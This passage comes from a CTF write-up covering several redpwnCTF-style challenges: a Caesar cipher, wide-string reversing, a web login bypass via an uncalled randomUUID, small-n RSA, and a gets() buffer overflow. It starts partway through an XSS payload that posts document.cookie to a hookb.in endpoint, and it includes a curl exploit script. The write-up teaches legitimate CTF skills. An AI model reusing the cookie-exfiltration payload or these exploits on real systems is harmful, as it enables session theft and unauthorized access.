- &lt;span class="token script language-javascript"&gt;
- post
- &lt;/span&gt;
- &lt;span class="token script language-javascript operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript keyword"&gt;
- new
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript class-name"&gt;
- XMLHttpRequest
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- post
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token script language-javascript method function property-access"&gt;
- open
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token script language-javascript string"&gt;
- "post"
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript string"&gt;
- "https://hookb.in/&lt;endpoint url&gt;"
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- post
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token script language-javascript method function property-access"&gt;
- send
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token script language-javascript dom variable"&gt;
- document
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token script language-javascript property-access"&gt;
- cookie
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token script language-javascript punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token tag punctuation"&gt;
- &lt;/
- &lt;/span&gt;
- &lt;span class="token tag"&gt;
- script
- &lt;/span&gt;
- &lt;span class="token tag punctuation"&gt;
- &gt;
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;h3 id="cryptoscissor"&gt;
- crypto/scissor
- &lt;/h3&gt;
- &lt;p&gt;
- I wasn't planning on including this one, but it makes use of the excellent
- &lt;a href="https://gchq.github.io/CyberChef/"&gt;
- CyberChef
- &lt;/a&gt;
- tool. The flag is given in the
-challenge description, and is encrypted using a ceasar/rot13 cipher. A simple
-python implementation of this cypher is included with the challenge, but I just
-put it into CyberChef and started trying different offsets.
- &lt;/p&gt;
- &lt;h3 id="revwstrings"&gt;
- rev/wstrings
- &lt;/h3&gt;
- &lt;blockquote&gt;
- &lt;p&gt;
- Some strings are wider than normal...
- &lt;/p&gt;
- &lt;/blockquote&gt;
- &lt;p&gt;
- This challenge has a binary that uses a simple
- &lt;code&gt;
- strcmp
- &lt;/code&gt;
- to check the flag. When
-running the program, the following output is visible:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- # ./wstrings
- &lt;/span&gt;
- Welcome to flag checker 1.0.
- &lt;!-- --&gt;
- Give me a flag&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- My first stategy was running the
- &lt;code&gt;
- strings
- &lt;/code&gt;
- utility on the
- &lt;code&gt;
- wstrings
- &lt;/code&gt;
- binary,
-but I didn't find the flag. What was interesting to me though was that I also
-couldn't find the prompt text... This immediately made me check for other
-string encodings.
- &lt;/p&gt;
- &lt;p&gt;
- Running the
- &lt;code&gt;
- strings
- &lt;/code&gt;
- utility with the
- &lt;code&gt;
- -eL
- &lt;/code&gt;
- flag tells
- &lt;code&gt;
- strings
- &lt;/code&gt;
- to look for
-32-bit little-endian encoded strings, and lo and behold the flag shows up!
- &lt;/p&gt;
- &lt;p&gt;
- This is because ascii strings are less 'wide' than 32-bit strings:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- --- ascii ---
-
-hex -&gt; 0x68 0x65 0x6c 0x6c 0x6f
-str -&gt; h e l l o
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Notice how each character is represented by a single byte each (8 bits) in
-ascii, as opposed to 32-bit characters in 32-bit land.
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- --- 32-bit land ---
-
-hex -&gt; 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
-str -&gt; h e l l o
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- I think 32-bit strings also have practical use for things like non-english
-texts such as hebrew, chinese or japanese. Those characters take up more space
-anyways, and you would waste less space by not using unicode escape characters.
- &lt;/p&gt;
- &lt;h3 id="websecure"&gt;
- web/secure
- &lt;/h3&gt;
- &lt;blockquote&gt;
- &lt;p&gt;
- Just learned about encryption—now, my website is unhackable!
- &lt;/p&gt;
- &lt;/blockquote&gt;
- &lt;p&gt;
- This challenge is pretty simple if you know some of JS's quirks. Right at the
-top of the file is an sqlite3 expression in JS:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-js" style="white-space:pre"&gt;
- &lt;span class="token comment"&gt;
- ////////
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- db
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token method function property-access"&gt;
- exec
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token template-string template-punctuation string"&gt;
- `
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- INSERT INTO users (username, password) VALUES (
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- '
- &lt;/span&gt;
- &lt;span class="token template-string interpolation interpolation-punctuation punctuation"&gt;
- ${
- &lt;/span&gt;
- &lt;span class="token template-string interpolation function"&gt;
- btoa
- &lt;/span&gt;
- &lt;span class="token template-string interpolation punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token template-string interpolation string"&gt;
- 'admin'
- &lt;/span&gt;
- &lt;span class="token template-string interpolation punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token template-string interpolation interpolation-punctuation punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- ',
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- '
- &lt;/span&gt;
- &lt;span class="token template-string interpolation interpolation-punctuation punctuation"&gt;
- ${
- &lt;/span&gt;
- &lt;span class="token template-string interpolation function"&gt;
- btoa
- &lt;/span&gt;
- &lt;span class="token template-string interpolation punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token template-string interpolation"&gt;
- crypto
- &lt;/span&gt;
- &lt;span class="token template-string interpolation punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token template-string interpolation property-access"&gt;
- randomUUID
- &lt;/span&gt;
- &lt;span class="token template-string interpolation punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token template-string interpolation interpolation-punctuation punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- '
- &lt;/span&gt;
- &lt;span class="token template-string string"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token template-string template-punctuation string"&gt;
- `
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- This section of code immediately jumped out to me because I noticed that
- &lt;code&gt;
- crypto.randomUUID
- &lt;/code&gt;
- wansn't actually being called.
- &lt;/p&gt;
- &lt;p&gt;
- Because the 'random uuid' is being fed into
- &lt;code&gt;
- btoa()
- &lt;/code&gt;
- it becomes a base64
-encoded string. However,
- &lt;code&gt;
- btoa()
- &lt;/code&gt;
- also expects a string as input. Because every
-object in JS has a
- &lt;code&gt;
- .toString()
- &lt;/code&gt;
- method, when you pass it into a function
-expecting another type, JS will happily convert it for you without warning.
- &lt;/p&gt;
- &lt;p&gt;
- This means that the admin's password will always be a base64-encoded version of
- &lt;code&gt;
- crypto.randomUUID
- &lt;/code&gt;
- 's source code. We can get that base64-encoded source code
-by running the following in a NodeJS REPL:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-js" style="white-space:pre"&gt;
- &lt;span class="token comment"&gt;
- // import file system and crypto modules
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- var
- &lt;/span&gt;
- &lt;span class=""&gt;
- writeFileSync
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- require
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'fs'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token property-access"&gt;
- writeFileSync
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- var
- &lt;/span&gt;
- &lt;span class=""&gt;
- crypto
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- require
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'crypto'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token comment"&gt;
- // write source to file
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- writeFileSync
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- './randomUUID.js'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- btoa
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- crypto
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token property-access"&gt;
- randomUUID
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- .
- &lt;/span&gt;
- &lt;span class="token method function property-access"&gt;
- toString
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'utf-8'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- I made a simple shell script that calls cURL with the base64-encoded
-parameters, and decodes the url-encoded flag afterwards:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- #!/bin/sh
- &lt;/span&gt;
- &lt;!-- --&gt;
- # https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
- &lt;!-- --&gt;
- function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- urldecode $(curl -sX POST \
- &lt;!-- --&gt;
- -d "username=$(printf 'admin' | base64)" \
- &lt;!-- --&gt;
- -d "password=$(cat ./randomUUID.js)" \
- &lt;!-- --&gt;
- https://secure.mc.ax/login)
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;h3 id="cryptobaby"&gt;
- crypto/baby
- &lt;/h3&gt;
- &lt;blockquote&gt;
- &lt;p&gt;
- I want to do an RSA!
- &lt;/p&gt;
- &lt;/blockquote&gt;
- &lt;p&gt;
- This challenge is breaking RSA. It only works because the
- &lt;code&gt;
- n
- &lt;/code&gt;
- parameter is
-really small.
- &lt;/p&gt;
- &lt;p&gt;
- Googling for 'rsa decrypt n e c' yields
- &lt;a href="https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c"&gt;
- this
- &lt;/a&gt;
- stackoverflow result, which links to
- &lt;a href="https://www.dcode.fr/rsa-cipher"&gt;
- dcode.fr
- &lt;/a&gt;
- . The only thing left to do is
-calculate
- &lt;code&gt;
- p
- &lt;/code&gt;
- and
- &lt;code&gt;
- q
- &lt;/code&gt;
- , which can be done using
- &lt;a href="https://wolframalpha.com/"&gt;
- wolfram
-alpha
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;h3 id="pwnbeginner-generic-pwn-number-0"&gt;
- pwn/beginner-generic-pwn-number-0
- &lt;/h3&gt;
- &lt;blockquote&gt;
- &lt;p&gt;
- rob keeps making me write beginner pwn! i'll show him...
- &lt;/p&gt;
- &lt;p&gt;
- &lt;code&gt;
- nc mc.ax 31199
- &lt;/code&gt;
- &lt;/p&gt;
- &lt;/blockquote&gt;
- &lt;p&gt;
- This was my first interaction with
- &lt;code&gt;
- gdb
- &lt;/code&gt;
- . It was.. painful. After begging for
-help in the redpwnCTF discord server about another waaaay harder challenge, an
-organizer named asphyxia pointed me towards
- &lt;a href="https://github.com/hugsy/gef"&gt;
- gef
- &lt;/a&gt;
- which single-handedly saved my sanity during the binary exploitation
-challenges.
- &lt;/p&gt;
- &lt;p&gt;
- The first thing I did was use
- &lt;a href="https://github.com/radareorg/iaito"&gt;
- iaito
- &lt;/a&gt;
- to
-look at a dissassembly graph of the binary. Iaito is a graphical frontend to
-the radare2 reverse engineering framework, and I didn't feel like learning two
-things at the same time, so that's why I used it. While it's very
-user-friendly, I didn't look into reverse engineering tools very much, and
-didn't realise that iaito is still in development. Let's just say I ran into
-some issues with project saving so I took lots of unnecessary repeated steps.
- &lt;/p&gt;
- &lt;p&gt;
- After trying to make sense of assembly code after just seeing it for the first
-time, I instead decided looking at the source code would be a better idea since
-I actually know c.
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-c" style="white-space:pre"&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;stdio.h&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;string.h&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;stdlib.h&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- const
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- char
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- *
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_messages
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\""
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\""
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\""
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- int
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- main
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- void
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- srand
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- time
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- long
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_message_index
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- rand
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- %
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- sizeof
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_messages
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- /
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- sizeof
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- char
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- *
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- char
- &lt;/span&gt;
- &lt;span class=""&gt;
- heartfelt_message
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 32
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stdout
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stdin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stderr
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_messages
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_message_index
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "can you write me a heartfelt message to cheer me up? :("
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- gets
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- heartfelt_message
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- if
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- inspirational_message_index
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- ==
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- -
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 1
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- system
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "/bin/sh"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- After looking at this source things became a lot clearer, because the only
-input you can actually control is recieved from
- &lt;code&gt;
- gets(...);
- &lt;/code&gt;
- &lt;/p&gt;
- &lt;p&gt;
- Now comes the hard part: doing it, but in assembly!
- &lt;/p&gt;
- &lt;p&gt;
- Some recources you should consume before attempting binary exploitation would
-be
- &lt;a href="https://www.youtube.com/watch?v=1S0aBV-Waeo"&gt;
- computerphile's video on buffer
-overflows
- &lt;/a&gt;
- and
- &lt;a href="https://cheat.sh/gdb"&gt;
- cheat.sh/gdb
- &lt;/a&gt;
- for some basic gdb commands. The rest of
-this section assumes you know the basics of both buffer overflows and gdb.
- &lt;/p&gt;
- &lt;p&gt;
- First, let's print a dissassembly of the
- &lt;code&gt;
- int main()
- &lt;/code&gt;
- function:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) disas main
-Dump of assembler code for function main:
